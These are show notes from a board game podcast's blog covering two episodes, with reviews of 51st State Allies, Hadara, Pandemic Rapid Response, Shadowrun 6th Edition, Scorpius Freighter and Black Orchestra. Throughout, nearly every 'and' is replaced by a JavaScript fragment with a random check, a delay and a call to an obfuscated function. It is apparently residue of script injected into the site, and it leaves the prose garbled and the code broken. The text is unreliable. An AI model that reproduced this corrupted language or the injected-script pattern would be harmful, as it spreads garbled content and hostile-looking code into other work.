RDTN Episode 172: Hadara, Pandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andemic Rapid Response, 51st State Allies, Shadowrun 6th Edition

While I enjoy Imperial Settlers from Portal, I will admit that 51st State is my favorite of the two. Don’t get me wrong, not saying that one is better than the other, but as I stated in the show, I know that 51st is the easier to teach to people because you only have one deck which is why it will edge out Imperial. Once those I am teaching get the core concepts down, then I can introduce Imperial to them with the multiple races andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and asymmetric play that it brings to the table. But back to Allies, the next expansion to 51st State. Does the expansion Allies provide anything new andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and different to the game? Yes it does. It brings ways to eliminate the need to convert resources to the tokens needed to put buildings andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and deals into play. Which for me, seems to speed up the game play. I think it would be best if this is the only expansion you use in the game so you can take advantage of the cards andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and not have them buried along with the other expansions. You know how some expansions seem to migrate into the base game? I think Allies will be one of those expansions.

Z-Man Games has a new Civ-type game coming out called Hadara. At first play, this might be thought of a very light game andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and in my opinion, it is. But that doesn’t make it bad in any respect, just need to know that this isn’t going to be a complex game. Matter of fact, the strategy occurs during the drawing of the cards. The deciding of what to keep andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and let others have a chance at in the Phase B of the game is very important. Do you take the lesser of the two cards being offered in hopes that you might score them both. Some very key decisions are made at this time during the game. The speed of play was also a big plus for me in this game, enjoyed how quickly it moved. Just understandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and that this is a lighter game andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and don’t expect a big thinker.

Then we put andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andemic-rapid-response-exclusive/-/A-76151680″>Pandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andemic Rapid Response on the table andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and you could see the dynamics of the group change. Here is a game where being right isn’t always necessary andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and agonizing over your move cannot be done. Roll dice, take actions, move to the next player andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and go fast, that is what you need to know here. While it isn’t my cup of tea, I did enjoy this breath of fresh air on the table. If you are going to agonize over your play, then you are doomed in this game. I think the chaotic nature of this game with the right group of people would be a blast. The screaming andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and yelling andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the communication on what to do next happening all at the same time can be a fun way to get the evening going. I would actually use this game with people at work to help teach them about Incident Commandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and how it is necessary when dealing with a crisis.

Three of the three Connell boys jump on the mics andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and explorer the 6th Edition of Shadowrun RPG by Catalyst Games. Thank goodness they took charge of this andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and shared their knowledge andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and experience because I am not sure I would have been able to bring much to the table. Adam andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Travis have some key insights to this revamp andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and from what I heard previewing the episode, Marty enjoyed it andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and is looking forward to more adventures in this world.

But that isn’t the last you hear from them, because Adam andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Travis are back to talk about Super Punch Fighter. Based on what I heard, Marty better bring it to game night so I can take a shot at playing it just so I can make my own opinion of the game.

If you will be at Gen Con this year andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and have nothing to do at 7pm on Thursday, consider buying a ticket for the RDTN Strike Tournament Dinner event at the Old Spaghetti Factory. We had a blast last year andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and hope that you will consider spending time with us.

Thanks for listening andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and we will be back in two weeks with another episode of background noise.

And don’t forget about the Smash Up contest.

RDTN Episode 161: Pandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andemic-Fall of Rome, Black Orchestra, Scorpius Freighter

Time for a new year andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and we are trying to get things planned, at least for the first quarter. But to get the New Year started off right, we bring you three game discussions andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and a discussion about doughnuts.

One game we got to play was the new one from AEG called Scorpius Freighter. What makes this game different is the three action tracks. You have to advance around them to get things done, but each track is a game timer andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and when one of the tracks meets the requirement for game end, it is done. Very interesting mechanic andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and one making us wonder how we could have done it different. It is also one of those games that it ends andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and you just don’t believe you have enough time to get it all done. You must be efficient, or so it seems.

Marty got to play the new andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andemic-fall-rome/”>Pandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andemic: Fall of Rome andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and I got in Black Orchestra. Both coop games andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and based on our discussion with each other, we both want to get together andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and play them again. I really did enjoy Black Orchestra andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and hope to get my wife to try it since she is a big coop game fan. I can easily understandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and why this is in the top on many people’s lists.

Happy New Year andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and hope 2019 is starting off in good fashion for you.
